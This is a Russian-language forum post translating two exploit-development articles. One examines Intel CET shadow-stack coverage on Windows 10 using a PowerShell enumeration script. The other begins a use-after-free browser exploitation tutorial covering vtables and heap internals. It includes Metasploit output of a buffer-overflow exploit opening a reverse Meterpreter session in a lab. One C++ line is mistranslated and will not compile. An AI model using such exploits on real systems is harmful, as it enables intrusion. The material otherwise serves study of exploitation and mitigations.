00007ff9`57ad0701 c3 ret
Как только адрес возврата изменен и вызван, возникает исключение FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS. Это вызывает падение приложения и прерывает эксплойт.
Поскольку техника ROP зависит от адреса возврата, CET также защитит от эксплойта с ROP.
Теперь рассмотрим насколько распространена эта техника защиты в Windows 10.
ОНО ВКЛЮЧЕНО?
Сначала разберемся, как вызывается CET. Оценим несколько популярных приложений, являющихся частой целью эксплойтов.
Windows 10 поддерживает CET с версии 19H1, которая вышла до 11-го поколения процессоров Intel. Мало кто знает, что CET не активирован для всей ОС. Приложение само запрпашивает включение защиты.
Это можно сделать через флаг /CETCOMPAT во время компиляции. Проверить включение защиты можно в секции Debug в расширенной характеристике DLL в поле IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT.
Активировать CET также можно в рантайме, через вызов Win32 API SetProcessMitigationPolicy с флагом ProcessUserShadowStackPolicy.
Shadow Stack не поддерживается в 32х битных и Wow64 процессах, даже на Windows 10 20H2.
Теперь определим какие приложения используют CET.
Эксплойты использующие ROP или BOF обычно нацелены на серверные или клиентские десктопные бинарники.
За последнее десятилетие, основными целями эксплойтов были веб браузеры, PDF и офисные приложения.
Мы настроили полностью обновленный ноутбук с Windows 10 20H2 с веб браузерами последней версии:
Плюс полностью обновленные версии Adobe Reader DC 2021 и Microsoft Office 365.
Большинство из вышеперечисленных приложений состоит из нескольких процессов. При помощи Win32 API GetProcessMitigationPolicy вызванной из PowerShell (Get- ProcessMitigation), определим наличие CET в каждом.
Скрипт для проверки процессов на наличие CET:
Code:Copy to clipboard
$procs = Get-Process
foreach ($proc in $procs)
{
try
{
$mitigations = Get-ProcessMitigation -Id $proc.Id
foreach ($mitigation in $mitigations)
{
if($mitigation.UserShadowStack.UserShadowStack -eq "ON")
{
Write-Host "Process name is: $($mitigation.ProcessName)"
Write-Host "ShadowStack is: $($mitigation.UserShadowStack.UserShadowStack)"
$cmdline = (Get-CimInstance Win32_Process -Filter "ProcessId = $($proc.Id)").CommandLine
if($cmdline -like "*--type=*")
{
$type = ((($cmdline -split "--type=")[1]) -split (" "))[0]
Write-Host "App type is: $type"
}
Write-Host ""
}
else
{
$cmdline = (Get-CimInstance Win32_Process -Filter "ProcessId = $($proc.Id)").CommandLine
if($cmdline -like "*--type=*")
{
$type = ((($cmdline -split "--type=")[1]) -split (" "))[0]
if($type -eq "renderer")
{
Write-Host "Process name is: $($mitigation.ProcessName)"
Write-Host "ShadowStack is: $($mitigation.UserShadowStack.UserShadowStack)"
Write-Host "App type is: $type"
Write-Host ""
}
}
}
}
}
catch
{
}
}
Также для каждого процесса определим аргументы командной строки при помощи WMI и командлета Get-CimInstance.
В аргументах командной строки мы ищем параметр "-type=", который равен
значению "renderer".
Когда мы пытаемся проэксплуатировать уязвимость в браузере или PDF приложении,
обычно это происходит через скрипт код, например javascript. Такие эксплойты
нацелены на процесс рендера, который парсит и выполняет скрипт код. Поэтому
добавлена ветка else для процессов без CET, но с типом "renderer".
Результат работы скрипта при запущенных приложениях.
Bash:Copy to clipboard
PS C:\> .\cetenum.ps1
Process name is: AcroRd32
ShadowStack is: OFF
App type is: renderer
Process name is: chrome
ShadowStack is: OFF
App type is: renderer
Process name is: chrome
ShadowStack is: ON
App type is: gpu-process
Process name is: chrome
ShadowStack is: ON
App type is: utility
Process name is: chrome
ShadowStack is: ON
App type is: crashpad-handler
Process name is: conhost
ShadowStack is: ON
Process name is: msedge
ShadowStack is: ON
App type is: crashpad-handler
Process name is: msedge
ShadowStack is: OFF
App type is: renderer
Process name is: msedge
ShadowStack is: ON
App type is: gpu-process
Process name is: msedge
ShadowStack is: ON
App type is: utility
Process name is: opera
ShadowStack is: ON
App type is: utility
Process name is: opera
ShadowStack is: OFF
App type is: renderer
Process name is: opera
ShadowStack is: ON
App type is: gpu-process
Process name is: opera_crashreporter
ShadowStack is: ON
App type is: crashpad-handler
Защита CET включена только у Chrome, Edge и Opera. Все три браузера основаны на Chromium, который поддерживает CET с версии 90.
CET включена у некоторых системных процессов, таких как LSASS и svchost.
Интересно, что CET не активен у процесса рендера Chromium браузеров, основной цели большинства эксплойтов.
КАК НАСЧЕТ СТАРОГО ПО?
Рассмотрим защищает ли CET серверные и старые приложения.
Как уже говорилось, CET защищает от эксплойтов, если приложение скомпилировано
с ней или активирует ее. Как результат, немного серверных приложений защищены
т.е. CET не влияет на текущее или старое ПО.
Проверим это в SyncBreeze, содержащей BOF, на Windows 10.
Если бы была включена CET, уязвимость не удалось бы проэксплуатировать. Но ПО скомпилировано без флага /CETCOMPAT и мы можем использовать эксплойт из Metasploit.
Bash:Copy to clipboard
msf6 exploit(windows/http/syncbreeze_bof) > exploit
[*] Started HTTP reverse handler on http://192.168.7.159:8080
[*] Target manually set as Sync Breeze Enterprise v10.0.28
[*] Sending request...
[*] http://192.168.7.159:8080 handling request from 192.168.7.165; (UUID: gv0fywgn) Staging x86 payload (176220 bytes) ...
[*] Meterpreter session 1 opened (192.168.7.159:8080 -> 192.168.7.165:49858) at 2021-04-16 05:47:05 -0400
meterpreter >
Не удивительно, что эксплойт сработал. Это доказывает, что даже на ЦПУ Intel 11-го поколения, ПО скомпилированное без флага /CETCOMPAT, не защищено.
ПОСЛЕДСТВИЯ ДЛЯ БЕЗОПАСНОСТИ
Несмотря на очень грозную защиту от Intel, неверно утверждать, что ROP и BOF RIP.
Чтобы использовать Shadow Stack, Windows нужен ЦП Intel 11-го поколения или AMD Ryzen 5000 серии, но они будут заполнять рынок несколько лет. Для десктопов и ноутбуков нужна Windows 10 19H1 и новее. Для серверов нужна Windows Server 2019.
Даже на новом железе и ОС, популярное ПО не поддерживает CET в целевых для эксплойтов процессах. 32х битные приложения не поддерживаются вообще.
Процессоры Intel 11го поколения на рынке около 6 месяцев и конечно со временем произойдет адаптация ПО, но идея, что CET уничтожила переполнение буффера в стэке или убило технику эксплуатации ROP, неверна.
В то время как, техники обхода CET разрабатываются исследователями, мы верим, что через несколько лет они станут частью real-world эксплойтов.
REFERENCES
(Yarden Shafir and Alex Ionescu, 2020): <https://windows-internals.com/cet-on-
windows/>
(Yarden Shafir, 2020): <https://windows-internals.com/cet-updates-cet-on-
xanax/> [1]
(Microsoft, 2020): <https://docs.microsoft.com/en-
us/cpp/build/reference/cetcompat?view=msvc-160>
(Microsoft, 2021): <https://docs.microsoft.com/en-us/windows/win32/debug/pe-
format#extended-dll-characteristics> [2]
(Microsoft, 2018): [https://docs.microsoft.com/en-us/wi...-processthreadsapi-
setprocessmitigationpolicy](https://docs.microsoft.com/en-
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
setprocessmitigationpolicy) [3]
(Microsoft, 2021): [https://techcommunity.microsoft.com...rdware-enforced-
stack-protection/ba-p/2163340](https://techcommunity.microsoft.com/t5/windows-
kernel-internals/developer-guidance-for-hardware-enforced-stack-
protection/ba-p/2163340) [4]
(Microsoft, 2018): [https://docs.microsoft.com/en-us/wi...-processthreadsapi-
getprocessmitigationpolicy](https://docs.microsoft.com/en-
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
getprocessmitigationpolicy) [5]
(Microsoft, 2021): [https://docs.microsoft.com/en-
us/po...t-processmitigation?view=windowsserver2019-ps](https://docs.microsoft.com/en-
us/powershell/module/processmitigations/get-
processmitigation?view=windowsserver2019-ps) [6]
(Microsoft, 2021): <https://docs.microsoft.com/en-
us/powershell/module/cimcmdlets/get-ciminstance?view=powershell-7.1> [7]
Переведено специально для XSS.is
Автор перевода sploitem
Источник: https://www.offensive-security.com/offsec/intel-cet-in-action/
Разработка Эксплойтов: Эксплуатация Браузера на Windows - Понимание Уязвимостей, связанных с UAF
72 минуты на чтение
Введение
Эксплуатация браузера - это тема, которая была для меня невероятно сложной. Оглядываясь назад на свой путь за последние полтора года или около того с тех пор, как я начал погружаться в бинарную эксплуатацию, особенно в Windows, я помню, как испытывал то же чувство при эксплуатации ядра. Я до сих пор помню, как однажды проснулся и понял, что мне просто нужно погрузиться в него, если я когда-нибудь захочу расширить свои знания. Оглядываясь назад, я понимаю, что, хотя мне еще предстоит многое узнать об этом, и я все еще новичок в эксплуатации ядра, я понял, что это было мое желание просто вскочить, независимо от уровня сложности, что помогло мне в конечном итоге понять некоторые концепции, связанные с большим количеством эксплуатации современного ядра.
Еще одним моим опасением всегда было использование браузера, даже больше, чем ядра Windows, потому что вам нужно не только понимать общие примитивы эксплойтов и классы уязвимостей, характерные для Windows, но также необходимо понимать другие темы, такие как различные движки JavaScript, JIT-компиляторы и множество других предметов, которые сами по себе трудны (по крайней мере, для меня) для понимания. Кроме того, добавление специальных средств защиты для браузера также стало определяющим фактором для меня, откладывающего изучение этого предмета.
Что всегда пугало, так это отсутствие (по моей оценке) ресурсов, связанных с эксплуатации браузера в Windows. Многие люди могут просто проанализировать фрагмент кода и придумать работающий эксплойт в течение нескольких часов. Для меня это не так. Я учусь, беря POC вместе с блога и просматриваю код в отладчике. Оттуда я анализирую все, что происходит, и пытаюсь задать себе вопрос "Почему автор посчитал важным упомянуть концепцию X или показать фрагмент кода Y?", А также попытаться ответить на этот вопрос. В дополнение к этому, я стараюсь сначала вооружиться необходимыми знаниями, чтобы даже начать процесс эксплуатации (например, "Автор упомянул, что это результат поддельной таблицы виртуальных функций.Что такое таблица виртуальных функций?"). Это помогает мне понять основные концепции. Оттуда я могу взять другие POC, которые используют те же классы уязвимостей, и использовать их в качестве оружия, но это первое начальное пошаговое руководство нужно мне самому.
Так как это мой стиль обучения, я обнаружил, что блогов об эксплуатации браузера Windows, которые показывают все с самого начала, очень мало. Поскольку я использую ведение блога как механизм не только для того, чтобы делиться тем, что я знаю, но и для закрепления концепций, которые я пытаюсь реализовать, я подумал, что мне потребуется несколько месяцев, теперь, когда Advanced Windows Exploitation (AWE) снова отменяется на 2021 год, изучить возможности эксплуатации браузеров в Windows и поговорить об этом.
Обратите внимание, что здесь будет продемонстрировано не распыление в куче как метод выполнения. Это будут реальные уязвимости, которые будут эксплуатироваться. Однако следует также отметить, что мы начнем в Internet Explorer 8 в Windows 7 x86. Мы по-прежнему будем описывать использование методов повторного использования кода для обхода DEP, но не ожидаем включенного MemGC, Delay Free и т.д. для этого урока и, скорее всего, для следующих нескольких. Это будет просто документирование моего мыслительного процесса, если вам интересно, как я перешел от сбоя к идентификации уязвимости и, надеюсь, к шеллу в конце.
Понимание уязвимостей Use-After-Free
Как было сказано выше, уязвимость, которую мы рассмотрим, - это UAF. В частности, MS13-055, который называется Microsoft Internet Explorer CAnchorElement Use-After-Free. Что именно это значит? Уязвимости, связанные с использованием после освобождения, хорошо задокументированы и довольно распространены. Есть отличные объяснения, но для краткости и полноты я постараюсь их объяснить. По сути, происходит следующее - фрагмент памяти (фрагменты - это просто непрерывные фрагменты памяти, такие как буфер. Каждая часть памяти, известная как блок, в системах x86 имеет размер 0x8 байтов или 2 DWORDS. Не забывайте о них) выделяется диспетчером кучи (в Windows есть front- end распределитель, известный как куча с низкой фрагментацией, и стандартный back-end распределитель. Мы поговорим об этом в следующем разделе). В какой-то момент в течение жизненного цикла программы этот фрагмент памяти, который был ранее выделен, "освобождается", что означает, что выделение очищается и может быть повторно использовано диспетчером кучи снова для запросов на выделение.
Допустим, выделение было по адресу памяти 0x15000. Допустим, блок, когда он был выделен, содержал 0x40 байтов из 0x41 символа. Если бы мы разыменовали адрес 0x15000, вы могли бы ожидать увидеть 0x41s (это псевдо-язык, и сейчас его следует воспринимать как высокий уровень). Когда это выделение освобождается, если вы вернетесь и снова разыменуете адрес, вы можете увидеть недопустимую память (например, что-то вроде ???? в WinDbg), если адрес не использовался для обслуживания запросов на выделение и все еще находится в свободном состоянии.
Уязвимость проявляется в блоке, который был выделен, но теперь освобожден, он по-прежнему используется программой, хотя и находится в "свободном" состоянии. Обычно это приводит к сбою, так как программа пытается получить доступ и/или разыменовать память, которая просто больше не действительна. Обычно это вызывает какое-то исключение, приводящее к сбою программы.
Теперь, когда определено то, чем мы пытаемся воспользоваться, ускользает от темы, давайте поговорим о том, как это условие возникает в нашем конкретном случае.
Классы, конструкторы, деструкторы и виртуальные функции C++
Вы можете знать или не знать, что браузеры, хотя они интерпретируют/выполняют JavaScript, на самом деле написаны на C++. Благодаря этому они придерживаются номенклатуры C++, такой как реализация классов, виртуальных функций и т. д. Давайте начнем с основ и поговорим о некоторых основополагающих концепциях C++.
Класс в C++ очень похож на типичную структуру, которую вы можете увидеть в C. Разница, однако, в том, что в классах вы можете определить более строгую область, где можно получить доступ к членам класса, с такими ключевыми словами, как private или public. По умолчанию члены классов являются закрытыми, то есть к членам могут получить доступ только класс и унаследованные классы. Мы поговорим об этих концепциях через секунду. Приведем небольшой пример кода.
C++:Copy to clipboard
#include <iostream>
using namespace std;
// Это главный класс (базовый класс)
class classOne
{
public:
// Это наш пользовательский конструктор
classOne()
{
cout << "Hello from the classOne constructor" << endl;
}
// Это наш пользовательский деструктор
~classOne()
{
cout << "Hello from the classOne destructor!" << endl;
}
public:
virtual void sharedFunction(){}; // Прототип виртуальной функции
virtual void sharedFunction1(){}; // Прототип виртуальной функции
};
// Это производный/под класс
class classTwo : public classOne
{
public:
// Это наш пользовательский конструктор
classTwo()
{
cout << "Hello from the classTwo constructor!" << endl;
};
// Это наш пользовательский деструктор
~classTwo()
{
cout << "Hello from the classTwo destructor!" << endl;
};
public:
void sharedFunction()
{
cout << "Hello from the classTwo sharedFunction()!" << endl; // Создаем ДРУГОЕ определение функции для sharedFunction()
};
void sharedFunction1()
{
cout << "Hello from the classTwo sharedFunction1()!" << endl; // Создаем ДРУГОЕ определение функции для sharedFunction1()
};
};
// Это еще один производный/под класс
class classThree : public classOne
{
public:
// Это наш пользовательский конструктор
classThree()
{
cout << "Hello from the classThree constructor" << endl;
};
// Это наш пользовательский деструктор
~classThree()
{
cout << "Hello from the classThree destructor!" << endl;
};
public:
void sharedFunction()
{
cout << "Hello from the classThree sharedFunction()!" << endl; // Создаем ДРУГОЕ определение функции для sharedFunction()
};
void sharedFunction1()
{
cout << "Hello from the classThree sharedFunction1()!" << endl; // Создаем ДРУГОЕ определение функции для sharedFunction1()
};
};
// Main function
int main()
{
// Создаем экземпляр базового/основного класса и устанавливаем его в один из производных классов
// Поскольку classTwo и classThree являются подклассами, они наследуют все, что прототипы/определяют classOne, поэтому допустимо установить адрес объекта classOne на объект classTwo
// Конструктор класса 1 будет вызываться дважды (для каждого созданного объекта classOne), а конструкторы classTwo + classThree вызываются один раз каждый (всего 4)
classOne * c1 = новый classTwo;
classOne* c1_2 = new classThree;
// Вызов виртуальных функций
c1->sharedFunction();
c1_2->sharedFunction();
c1->sharedFunction1();
c1_2->sharedFunction1();
// Деструкторы вызываются, когда объект явно уничтожается с помощью delete
delete c1;
delete c1_2;
}
Приведенный выше код создает три класса: один "основной" или "базовый" класс (classOne), а затем два класса, которые являются "производными" или "подклассами" базового класса classOne. (classTwo и classThree в этом случае являются производными классами).
У каждого из трех классов есть конструктор и деструктор. Конструктор называется так же, как и класс, как и его собственная номенклатура. Так, например, конструктором класса classOne является classOne(). Конструкторы - это, по сути, методы, которые вызываются при создании объекта. Его общая цель состоит в том, что они используются для инициализации переменных внутри класса всякий раз, когда создается объект класса. Так же, как создание объекта для структуры, создание объекта класса выполняется так: classOne c1. В нашем случае мы создаем объекты, которые указывают на класс classOne, что, по сути, одно и то же, но вместо прямого доступа к членам мы обращаемся к ним через указатели. По сути, просто знайте, что всякий раз, когда создается объект класса (classOne* cl в нашем случае), конструктор вызывается при создании этого объекта.
В дополнение к каждому конструктору у каждого класса есть деструктор. Деструктор называется ~nameoftheClass(). Деструктор - это то, что вызывается всякий раз, когда объект класса в нашем случае собирается выйти за пределы области видимости. Это может быть либо код, достигший конца выполнения, либо, как в нашем случае, оператор delete вызывается для одного из ранее объявленных объектов класса (cl и cl_2). Деструктор является обратным конструктору - это означает, что он вызывается всякий раз, когда объект удаляется. Обратите внимание, что деструктор не имеет типа, не принимает аргументы функции и не возвращает значение
В дополнение к конструктору и деструктору мы видим, что classOne прототипирует две "виртуальные функции" с пустыми определениями. Согласно документации Microsoft (<https://docs.microsoft.com/en-us/cpp/cpp/virtual- functions?view=msvc-160>), виртуальная функция - это "функция-член, которую вы ожидаете переопределить в производном классе". Если вы изначально не знакомы с C++, как и я, вам может быть интересно, что такое функция-член. Попросту говоря, функция-член - это просто функция, которая определена в классе как член. Вот пример структуры, которую вы обычно видите в C:
C:Copy to clipboard
struct mystruct{
int var1;
int var2;
}
Как вы знаете, первым членом этой структуры является int var1. То же самое и с классами C++. Функция, которая определена в классе, также является его членом, отсюда и термин "член функци".
Причина, по которой существуют виртуальные функции, заключается в том, что они
позволяют разработчику создавать прототип функции в основном классе, но
позволяют разработчику переопределить функцию в производном классе. Это
работает, потому что производный класс может наследовать все переменные,
функции и т.д. из своего "родительского" класса. Это можно увидеть в
приведенном выше фрагменте кода, помещенном здесь для краткости: classOne* c1
= new classTwo;. Он берет производный класс classOne, которым является
classTwo, и указывает объект classOne(c1) на производный класс.
Это гарантирует, что всякий раз, когда объект (например,c1) вызывает функцию,
это правильно определенная функция для этого класса. Так что в основном
думайте об этом как о функции, которая объявлена в основном классе,
наследуется подклассом, и каждому подклассу, который наследует ее, разрешено
изменять то, что делает функция. Затем, когда объект класса вызывает
виртуальную функцию, вызывается соответствующее определение функции,
соответствующее вызывающему ее объекту класса.
Запустив программу, мы видим, что получаем ожидаемый результат:
Теперь, когда мы вооружились базовым пониманием некоторых ключевых концепций, в основном конструкторов, деструкторов и виртуальных функций, давайте посмотрим на ассемблерный код того, как выбирается виртуальная функция.
Обратите внимание, что нет необходимости повторять эти шаги, если вы следуете им.Однако, если вы хотите следовать пошаговым инструкциям, имя этого .exe — virtualfunctions.exe. Этот код был скомпилирован с помощью Visual Studio как Empty C++ Project. Мы строим solution в режиме отладки. Кроме того, вы захотите открыть свой код в Visual Studio. Убедитесь, что для программы установлено значение x64, что можно сделать, выбрав раскрывающийся список рядом с локальным отладчиком Windows в верхней части Visual Studio.
Перед компиляцией выберите Project>nameofyourproject Properties. Отсюда щелкните C/C++ и щелкните Все параметры. Для параметра Debug Information Format измените значение на Program Database /Zi.
После этого следуйте этим инструкциям от Microsoft ( [https://docs.microsoft.com/en-us/cp...-in-the-visual-studio-development- environment](https://docs.microsoft.com/en-us/cpp/build/reference/debug- generate-debug-info?view=msvc-160#to-set-this-linker-option-in-the-visual- studio-development-environment)) о том, как настроить компоновщик для создания всей возможной отладочной информации.
Теперь создайте solution и запустите WinDbg. Откройте .exe в WinDbg (обратите внимание, что вы не присоединяете, а открываете двоичный файл) и выполните следующую команду в командном окне WinDbg: .symfix. Это автоматически настроит символы отладки для вас, что позволит вам разрешать имена функций не только в virtualfunctions.exe, но и в библиотеках DLL Windows. Затем выполните команду .reload, чтобы обновить символы.
После того, как вы это сделали, сохраните текущую рабочую область, выбрав File
Save Workspace. Это сохранит вашу конфигурацию разрешения символов.
Для целей этой уязвимости нас больше всего интересует таблица виртуальных функций. Имея это в виду, давайте установим точку останова для функции main с помощью команды WinDbg bp virtualfunctions!main. Поскольку в нашем распоряжении есть исходный файл, WinDbg автоматически сгенерирует окно просмотра с фактическим C кодом и будет проходить через этот код по мере того, как вы проходите через него.
В WinDbg выполните код с помощью t до, пока мы не дойдем до c1-> sharedFunction().
Достигнув начала вызова виртуальной функции, давайте установим точки останова на следующих трех инструкциях после инструкции в RIP. Для этого используйте bp 00007ff7b67c1703 и т. д.
Переходя к следующей инструкции, мы видим, что значение, на которое указывает RAX, будет перемещено в RAX. Это значение, согласно WinDbg, - это virtualfunctions!ClassTwo::vftable.
Как мы видим, этот адрес является указателем на "vftable" (указатель таблицы виртуальных функций, или vptr). Vftable - это таблица виртуальных функций, которая по сути представляет собой структуру указателей на различные виртуальные функции. Вспомните, как мы говорили ранее: "когда класс вызывает виртуальную функцию, программа будет знать, какая функция соответствует каждому объекту класса". Вот этот процесс в действии. Давайте посмотрим на текущую инструкцию и две следующие.
Возможно, вы не сможете сказать это сейчас, но такая процедура (например, mov reg, [ptr] + call [ptr]) указывает на то, что конкретная виртуальная функция извлекается из таблицы виртуальных функций. Давайте пройдемся сейчас, чтобы увидеть, как это работает. При вызове, vptr (который является указателем на таблицу) загружается в RAX. Давайте теперь взглянем на эту таблицу.
Хотя эти символы немного сбивают с толку, обратите внимание, что у нас здесь два указателя - один - "sharedFunctionclassTwo", а другой — "sharedFunction1classTwo". На самом деле это указатели на две виртуальные функции в classTwo!
Если мы перейдем к вызову, мы увидим, что это вызов, который перенаправляет на переход к виртуальной функции sharedFunction, определенной в classTwo!
Затем продолжайте переходить к инструкциям в отладчике, пока мы не дойдем до инструкции c1-> sharedFunction1(). Обратите внимание, что по мере продвижения вы в конечном итоге увидите процедуру того же типа, которая выполняется с sharedFunction внутри classThree.
Опять же, мы можем наблюдать тот же тип поведения, только на этот раз инструкция вызова - call qword ptr [rax+0x8]. Это связано с тем, как виртуальные функции выбираются из таблицы. Грамотно составленная диаграмма Microsoft Paint ниже показывает, как программа индексирует таблицу при наличии нескольких виртуальных функций, как в нашей программе.
Как мы помним из нескольких изображений которые были раньше, где мы сдампили
таблицу и увидели два адреса наших виртуальных функций. Мы видим, что на этот
раз выполнение программы будет вызывать эту таблицу со смещением 0x8, которое
на этот раз является указателем на sharedFunction1, а не sharedFunction!
Выполняя инструкции, мы переходим на sharedFunction1.
После выполнения всех виртуальных функций будет вызван наш деструктор. Поскольку мы создали только два объекта classOne и удаляем только эти два объекта, мы знаем, что будет вызван только деструктор classOne, что очевидно при поиске термина "деструктор" в IDA. Мы видим, что будет вызвана функция j_operator_delete, которая представляет собой просто длинный и затянутый переход к функции UCRTBASED Windows API _free_dbg, чтобы уничтожить объект. Обратите внимание, что обычно это был бы бесплатный вызов функции C Runtime, но поскольку мы создали эту программу в режиме отладки, по умолчанию используется отладочная версия.
Круто! Теперь мы знаем, как классы C++ индексируют таблицы виртуальных функций для извлечения виртуальных функций, связанных с данным объектом класса. Почему это важно? Напомним, это будет эксплойт браузера, а браузеры написаны на C++! Эти объекты класса, которые почти наверняка будут использовать виртуальные функции, размещены в куче! Это нам очень пригодится.
Прежде чем мы перейдем к нашему пути эксплуатации, давайте потратим всего несколько дополнительных минут, чтобы показать, как потенциально может выглядеть UAF с программной точки зрения. Добавим в основную функцию следующий фрагмент кода:
C++:Copy to clipboard
// Main function
int main()
{
classOne* c1 = new classTwo;
classOne* c1_2 = new classThree;
c1->sharedFunction();
c1_2->sharedFunction();
delete c1;
delete c1_2;
// Создание ситуации UAF. Доступ к члену объекта класса c1 после того, как он был освобожден
c1->sharedFunction();
}
Пересоберите решение. После перестройки давайте сделаем WinDbg нашим отладчиком по умолчанию. Откройте сеанс cmd.exe от имени администратора и измените текущий рабочий каталог на установку WinDbg. Затем введите windbg.exe -I.
Эта команда настроила WinDbg на автоматическое присоединение и анализ программы, которая только что потерпела крах. Приведенное выше добавление кода должно привести к сбою нашей программы.
Кроме того, прежде чем двигаться дальше, мы собираемся включить функцию Windows SDK, известную как gflags.exe. glfags.exe, используя свои функции PageHeap, предоставляет чрезвычайно подробную отладочную информацию о куче. Для этого в том же каталоге, что и WinDbg, введите следующую команду, чтобы включить PageHeap для нашего процесса gflags.exe /p /enable C:\Path\To\Your\virtualfunctions.exe. Вы можете узнать больше о PageHeap здесь (<https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/gflags- and-pageheap>) и здесь ([https://docs.microsoft.com/en-us/wi...---using-page- heap-verification-to-find-a-bug](https://docs.microsoft.com/en-us/windows- hardware/drivers/debugger/example-12---using-page-heap-verification-to-find-a- bug)). По сути, поскольку мы имеем дело с недействительной памятью, PageHeap поможет нам разобраться в вещах, указав "шаблоны" для распределения кучи. Например, если страница свободна, она может заполнить ее шаблоном, чтобы вы знали, что она свободна, а не просто показывать ??? в WinDbg, или просто вылетает.
После добавления кода снова запустите .exe, и WinDbg должен запуститься.
После включения PageHeap давайте запустим уязвимый код. (Обратите внимание, что вам может потребоваться щелкнуть правой кнопкой мыши изображение ниже и открыть его в новой вкладке)
Очень интересно, мы видим, что произошел сбой! Обратите внимание на инструкцию call qword ptr [rax], на которую мы также остановились. Во-первых, это результат включения PageHeap, то есть мы можем точно увидеть, где произошел сбой, а не просто увидеть стандартное нарушение доступа. Вспомните, где вы это видели? Похоже, это попытка вызова несуществующей виртуальной функции! Это потому, что объект класса был размещен в куче. Затем, когда вызывается delete для освобождения объекта и вызывается деструктор, он уничтожает объект класса. Именно это и произошло в этом случае - объект класса, из которого мы пытаемся вызвать виртуальную функцию, уже освобожден, поэтому мы вызываем память, которая является недействительной.
Что, если бы мы смогли выделить некоторую память в куче вместо освобожденного объекта? Можем ли мы потенциально контролировать выполнение программы? Это будет нашей целью и, надеюсь, приведет к тому, что мы сможем получить контроль над стеком и получить оболочку. Наконец, давайте уделим несколько минут тому, чтобы ознакомиться с кучей Windows, прежде чем перейти к эксплуатации.
Диспетчер кучи Windows - Куча с низкой фрагментацией (LFH), внутренний распределитель и кучи по умолчанию
Лучшее объяснение LFH и просто управления кучей в Windows в целом можно найти по этой ссылке (http://illmatics.com/Understanding_the_LFH.pdf). Статья Криса Валасека о LFH является фактическим стандартом понимания того, как работает LFH и как он работает с бэкэнд менеджером, и большая часть, если не вся, информация, представленная здесь, исходит оттуда. Обратите внимание, что после Windows 7 куча претерпела несколько незначительных и серьезных изменений, и следует учитывать, что методы, использующие внутренние компоненты кучи, могут быть неприменимы напрямую к Windows 10 или даже Windows 8.
Следует отметить, что выделение кучи технически начинается с запроса фронт-энд менеджера, но поскольку LFH, который является интерфейсным менеджером в Windows, не всегда включен, внутренний менеджер в конечном итоге определяет, какие сервисы запрашивает первый.
Куча Windows управляется структурой, известной как HeapBase или ntdll! _HEAP. Эта структура содержит множество членов для получения/предоставления соответствующей информации о куче.
Структура ntdll! _HEAP содержит член с именем BlocksIndex. Этот член относится к типу _HEAP_LIST_LOOKUP, который представляет собой структуру связанного списка. (Вы можете получить список активных куч с помощью команды !heap и передать адрес в качестве аргумента в dt ntdll_HEAP). Эта структура используется для хранения важной информации для управления свободными фрагментами, но делает гораздо больше.
Далее, вот как выглядит структура HeapBase-> BlocksIndex (_HEAP_LIST_LOOKUP).
Первый член этой структуры является указателем на следующую структуру _HEAP_LIST_LOOKUP в строке, если таковая имеется. Существует также член ArraySize, который определяет, до какого размера фрагменты будет отслеживать эта структура. В Windows 7 поддерживаются только два размера, что означает, что этот член - либо 0x80, что означает, что структура будет отслеживать фрагменты до 1024 байтов, либо 0x800, что означает, что структура будет отслеживать до 16 КБ. Это также означает, что для каждой кучи в Windows 7 технически есть только две из этих структур: одна для поддержки размера массива 0x80, а другая - для размера массива 0x800.
HeapBase->BlocksIndex, имеющий тип _HEAP_LIST_LOOKUP, также содержит член с именем ListHints, который является указателем на структуру FreeLists, которая представляет собой связанный список указателей на свободные фрагменты, доступные для запросов на обслуживание. Индекс в ListHints фактически основан на члене BaseIndex, который строится на основе размера, предоставленного ArraySize. Взгляните на изображение ниже, которое использует другую структуру _HEAP_LIST_LOOKUP, основанную на члене ExtendedLookup первой структуры, предоставленной ntdll!_HEAP.
Например, если для ArraySize установлено значение 0x80, как показано в первой структуре, член BaseIndex равен 0, поскольку он управляет фрагментами размером 0x0–0x80, что является наименьшим возможным размером. Поскольку этот снимок экрана сделан в Windows 10, мы не ограничены 0x80 и 0x800, а следующий размер на самом деле 0x400. Поскольку это второй наименьший размер, член BaseIndex увеличивается до 0x80, так как теперь обрабатываются блоки размером 0x80 — 0x400. Это значение BaseIndex затем используется вместе с целевым размером выделения для индексации ListHints, чтобы получить блок для обслуживания выделения. Вот как индексируется ListHints, связанный список, чтобы найти свободный кусок подходящего размера для использования через менеджер.
Что нас интересует, так это то, что BLINK (обратная ссылка) этой структуры ListHints, когда front-end менеджер не включен, на самом деле является указателем на счетчик. Поскольку ListHints будет индексироваться на основе определенного запрашиваемого размера блока, этот счетчик используется для отслеживания запросов на выделение этого определенного размера. Если 18 последовательных распределений сделаны для одного и того же размера блока, это включает LFH.
Вкратце о LFH: LFH используется для обслуживания запросов, удовлетворяющих вышеуказанным эвристическим требованиям, то есть 18 последовательных распределений одинакового размера. Помимо этого, внутренний распределитель, скорее всего, будет вызван для попытки обслуживания запросов. Запуск LFH в некоторых случаях полезен, но для целей нашего эксплойта нам не нужно запускать LFH, так как он уже будет включен для нашей кучи. После включения LFH он остается включенным по умолчанию. Это полезно для нас, так как теперь мы можем просто создавать объекты для замены освобожденной памяти. Почему? LFH также является LIFO в Windows 7, как и стек (<https://www.corelan.be/index.php/2016/07/05/windows-10-x86wow64-userland- heap/>). Последний освобожденный фрагмент - это первый выделенный фрагмент в следующем запросе. Это пригодится позже. Обратите внимание, что это больше не относится к более обновленным системам, и куча имеет большую степень рандомизации.
В любом случае, о LFH в целом, особенно о куче под Windows, стоит поговорить. LFH существенно оптимизирует способ распределения памяти кучи, чтобы избежать разрыва или фрагментации памяти на несмежные блоки, так что почти все запросы к памяти кучи могут быть обслужены. Обратите внимание, что LFH может адресовать только выделения размером до 16 КБ. На данный момент это то, что нам нужно знать о том, как обслуживаются распределения кучи.
Теперь, когда мы поговорили о диспетчере кучи, давайте поговорим об использовании в Windows.
У процессов в Windows есть по крайней мере одна куча, известная как куча процесса по умолчанию. Для большинства приложений, особенно небольших по размеру, этого более чем достаточно, чтобы обеспечить соответствующие требования к памяти для функционирования процесса. По умолчанию это 1 МБ, но приложения могут расширять свои кучи по умолчанию до большего размера. Однако для приложений с большим объемом памяти используются дополнительные алгоритмы, такие как front-end менеджер. LFH - это front-end менеджер в Windows, начиная с Windows 7.
